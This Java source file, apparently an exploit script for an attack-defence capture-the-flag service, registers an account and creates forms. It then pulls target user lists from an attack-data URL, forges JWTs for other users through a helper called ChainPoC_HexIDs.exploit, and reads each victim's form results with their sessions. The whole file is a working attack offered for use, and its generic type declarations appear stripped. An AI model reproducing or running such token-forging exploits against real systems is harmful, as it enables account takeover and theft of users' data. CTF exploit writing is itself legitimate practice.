import java.util.Map; import java.util.HashMap; import java.util.List; public class Sploit { public static void main(String[] args) throws Exception { String serviceUrl = "http://" + args[0] + ":5003"; ClientLib client = new ClientLib(serviceUrl); String attackDataUrl = args[1]; String username = CheckLib.generateUsername(); String password = CheckLib.generatePassword(); Map registerResult = client.registerUser(username, password); System.out.println("[+] Registration result: " + registerResult); System.out.println("[+] User ID: " + client.getUserId()); System.out.println("[+] Username: " + client.getUsername()); System.out.println("[+] Auth Token: " + client.getAuthToken()); System.out.println("[+] Authenticated: " + client.isAuthenticated()); System.out.println("\n[*] Getting current user info..."); Map userInfo = client.getCurrentUser(); System.out.println("[+] User info: " + userInfo); System.out.println("\n[*] Creating a form..."); Map schema = new HashMap<>(); schema.put("title", CheckLib.rndString(10)); schema.put("description", CheckLib.rndString(10)); Map formResult = client.createForm(schema); System.out.println("[+] Form created: " + formResult); String formId = (String) formResult.get("formId"); long formNumber = (long) formResult.get("formNumber"); System.out.println("\n[*] Creating a form..."); Map schema2 = new HashMap<>(); schema2.put("title", CheckLib.rndString(10)); schema2.put("description", CheckLib.rndString(10)); Map formResult2 = client.createForm(schema2); System.out.println("[+] Form created: " + formResult2); String formId2 = (String) formResult2.get("formId"); System.out.println("[+] Form ID: " + formId); System.out.println("[+] Form 1: " + formId); System.out.println("[+] Form 2: " + formId2); System.out.println("[+] User ID: " + userInfo.get("userId")); System.out.println("[+] Username: " + username); System.out.println("[+] Auth Token: " + client.getAuthToken()); System.out.println("[+] User ID: " + userInfo.get("userId")); List> myForms1 = client.getMyForms(); System.out.println("[+] My forms: " + myForms1); System.out.println("\n[*] Fetching attack data for host: " + args[0]); List> targetUsers = AttackData.getAllUsers(args[0], attackDataUrl); System.out.println("[+] Target users: " + targetUsers); long userId = ((Number) userInfo.get("userId")).longValue(); System.out.println("[+] Current User ID: " + userId); Map[] jwtsWithUsers = ChainPoC_HexIDs.exploit(formNumber, userId, client.getAuthToken(), targetUsers, formId, formId2); System.out.println("[+] Generated " + jwtsWithUsers.length + " JWTs"); for (Map jwtData : jwtsWithUsers) { String jwt = jwtData.get("jwt"); String targetUsername = jwtData.get("username"); String targetUserId = jwtData.get("userId"); client.setSessionCookies(targetUserId, targetUsername, jwt); System.out.println("\n[+] Testing as user: " + targetUsername + " (ID: " + targetUserId + ")"); System.out.println("[+] Check auth: " + client.isAuthenticated()); List> myForms = client.getMyForms(); for (Map form : myForms) { System.out.println("[+] Form results: " + client.getFormResults(form.get("formId").toString())); } } } }